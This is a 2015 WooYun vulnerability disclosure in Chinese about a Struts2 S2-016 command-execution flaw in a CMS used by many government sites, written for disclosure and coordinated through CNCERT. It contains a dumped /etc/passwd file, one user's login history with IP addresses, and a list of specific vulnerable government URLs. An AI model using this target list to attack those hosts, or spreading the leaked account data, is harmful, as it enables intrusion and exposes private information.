当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0104880

漏洞标题：某通用漏洞致一大批政务站点躺各种命令执行可getshell

相关厂商：政务站点

漏洞作者： 姗姗来迟

提交时间：2015-03-31 09:28

修复时间：2015-07-02 15:42

公开时间：2015-07-02 15:42

漏洞类型：命令执行

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-31： 细节已通知厂商并且等待厂商处理中
2015-04-03： 厂商已经确认，细节仅向厂商公开
2015-04-06： 细节向第三方安全合作伙伴开放
2015-05-28： 细节向核心白帽子及相关领域专家公开
2015-06-07： 细节向普通白帽子公开
2015-06-17： 细节向实习白帽子公开
2015-07-02： 细节向公众公开

简要描述：

安全不可姗姗来迟！

详细说明：

#一大批政务站点存在S-016命令执行可getshell!
URl中均存在：website-rank
通用字眼，路径中均存在：UCMSServer
各种组合，各种google!
案例1说明
测试入口：http://117.78.19.27:9888/website-rank/getVoteRecordByManuscriptId.action

dir:/opt/Minge/UCMSServer/tomcat/webapps/website-rank/


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pulse:x:497:495:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oracle:x:500:500::/home/oracle:/bin/bash
wuzhengfeng:x:501:502::/home/wuzhengfeng:/bin/bash
zabbix:x:502:503::/home/zabbix:/bin/bash
mysql:x:496:504::/home/mysql:/bin/bash
clamav:x:495:492:Clam Anti Virus Checker:/var/clamav:/sbin/nologin
db2inst1:x:1004:999::/home/db2inst1:/bin/bash
db2fenc1:x:1003:998::/home/db2fenc1:/bin/bash
dasusr1:x:1002:997::/home/dasusr1:/bin/bash


wuzhengf pts/1        221.219.230.175  Mon Mar 30 21:11   still logged in   
wuzhengf pts/1        122.70.113.17    Mon Mar 30 14:42 - 15:08  (00:25)    
wuzhengf pts/1        122.70.113.19    Thu Mar 26 16:53 - 16:55  (00:02)    
wuzhengf pts/1        111.199.50.185   Wed Mar 25 22:05 - 23:24  (01:19)    
wuzhengf pts/2        118.194.192.100  Tue Mar 24 10:15 - 10:23  (00:07)    
wuzhengf pts/1        118.194.192.100  Tue Mar 24 09:59 - 10:23  (00:23)    
wuzhengf pts/1        118.194.192.100  Mon Mar 23 15:17 - 15:43  (00:26)    
wuzhengf pts/1        118.194.192.100  Mon Mar 23 10:33 - 14:41  (04:08)    
wuzhengf pts/4        118.194.192.100  Sat Mar 21 13:25 - 13:43  (00:18)    
wuzhengf pts/3        118.194.192.100  Sat Mar 21 13:23 - 15:41  (02:17)    
wuzhengf pts/2        118.194.192.100  Sat Mar 21 09:48 - 15:04  (05:16)    
wuzhengf pts/1        118.194.192.100  Sat Mar 21 09:44 - 15:04  (05:20)    
wuzhengf pts/1        106.37.213.195   Fri Mar 20 11:27 - 20:10  (08:43)    
wuzhengf pts/2        122.70.113.17    Thu Mar 19 16:49 - 16:53  (00:03)    
wuzhengf pts/2        118.194.192.100  Thu Mar 19 16:45 - 16:45  (00:00)    
wuzhengf pts/1        118.194.192.100  Thu Mar 19 16:07 - 18:26  (02:18)    
wuzhengf pts/1        118.194.192.100  Thu Mar 19 14:34 - 15:36  (01:02)    
wuzhengf pts/1        111.193.1.255    Wed Mar 18 22:39 - 23:03  (00:24)    
wuzhengf pts/2        122.70.113.18    Tue Mar 17 15:25 - 17:40  (02:14)    
wuzhengf pts/1        122.70.113.18    Tue Mar 17 15:23 - 17:40  (02:17)    
wuzhengf pts/1        118.194.192.100  Tue Mar 17 14:37 - 14:44  (00:06)    
wuzhengf pts/1        118.194.192.100  Mon Mar 16 16:38 - 17:56  (01:18)    
wuzhengf pts/1        118.194.192.100  Mon Mar 16 10:42 - 14:00  (03:17)    
wuzhengf pts/1        118.194.192.100  Fri Mar 13 16:54 - 18:08  (01:14)    
wuzhengf pts/1        118.194.192.100  Mon Mar  9 16:24 - 18:51  (02:26)    
wuzhengf pts/1        118.194.192.100  Mon Mar  9 16:23 - 16:24  (00:00)    
wuzhengf pts/2        118.194.192.100  Tue Mar  3 10:41 - 16:27  (05:46)    
wuzhengf pts/4        118.194.192.100  Tue Mar  3 10:01 - 10:01  (00:00)    
wuzhengf pts/3        118.194.192.100  Tue Mar  3 10:01 - 10:01  (00:00)    
wuzhengf pts/2        118.194.192.100  Tue Mar  3 10:01 - 10:01  (00:00)    
wuzhengf pts/1        118.194.192.100  Tue Mar  3 09:28 - 12:25  (02:56)    
wuzhengf pts/2        118.194.192.100  Mon Mar  2 15:47 - 18:12  (02:24)    
wuzhengf pts/1        118.194.192.100  Mon Mar  2 10:24 - 18:39  (08:15)    
wuzhengf pts/1        118.194.192.100  Fri Feb 27 11:05 - 18:39  (07:34)    
wuzhengf pts/1        118.194.192.100  Thu Feb 26 09:23 - 09:34  (00:10)    
wuzhengf pts/1        118.194.192.100  Wed Feb 25 16:29 - 16:38  (00:08)    
wuzhengf pts/2        118.194.192.100  Fri Feb 13 11:48 - 14:43  (02:55)    
wuzhengf pts/1        118.194.192.100  Fri Feb 13 11:08 - 13:21  (02:13)    
wuzhengf pts/1        61.49.18.11      Wed Feb 11 21:51 - 22:40  (00:49)    
wuzhengf pts/1        111.193.2.215    Tue Feb 10 22:20 - 22:25  (00:04)    
wuzhengf pts/1        61.49.18.12      Tue Feb 10 19:00 - 19:44  (00:43)    
wuzhengf pts/2        111.203.34.12    Tue Feb 10 17:55 - 18:33  (00:38)    
wuzhengf pts/1        111.203.34.12    Tue Feb 10 17:53 - 18:33  (00:40)    
wuzhengf pts/1        111.203.34.12    Tue Feb 10 10:59 - 16:45  (05:46)    
wuzhengf pts/1        118.194.192.100  Tue Feb 10 09:46 - 09:47  (00:00)    
wuzhengf pts/1        118.194.192.100  Mon Feb  9 20:40 - 20:44  (00:04)    
wuzhengf pts/3        118.194.192.100  Mon Feb  9 15:59 - 18:16  (02:16)    
wuzhengf pts/3        118.194.192.100  Mon Feb  9 15:47 - 15:51  (00:04)    
wuzhengf pts/2        118.194.192.100  Mon Feb  9 15:11 - 16:59  (01:47)    
wuzhengf pts/2        118.194.192.100  Mon Feb  9 15:01 - 15:01  (00:00)    
wuzhengf pts/2        118.194.192.100  Mon Feb  9 15:01 - 15:01  (00:00)    
wuzhengf pts/2        118.194.192.100  Mon Feb  9 15:01 - 15:01  (00:00)    
wuzhengf pts/1        118.194.192.100  Mon Feb  9 15:00 - 17:52  (02:51)

漏洞证明：

案例图组：

a.png


b.png


c.png


给予此通用漏洞部分站点：

http://117.78.19.27:9888/website-rank/getVoteRecordByManuscriptId.action
http://168.160.193.139:8888/website-rank/addVoteRecord.action
http://219.141.213.23/website-rank/addVoteRecord.action
http://42.123.76.155:8080/website-rank/addVoteRecord.action
http://www.hhhtbtjc.com/website-rank/addVoteRecord.action
http://bauhinia.forestry.gov.cn/website-rank/addVoteRecord.action
http://42.123.76.89/website-rank/addVoteRecord.action
http://219.141.213.23/website-rank/addVoteRecord.action
http://www.12320.gov.cn/website-rank/addVoteRecord.action
http://www.minge.gov.cn/website-rank/addVoteRecord.action

修复方案：

#含有此WEB程序的政务站点很多，各种命令执行！可以getshell，甚至提升权限！危害多大，你懂我懂大家懂，希望正确面对网络安全问题，尽快修复。作为白帽子这是我应该做的！精华$$有木有！

版权声明：转载请注明来源 姗姗来迟@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-04-03 15:40

厂商回复：

CNVD确认并复现所述情况，根据测试用例，已经转由CNCERT下发给对应多个分中心，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论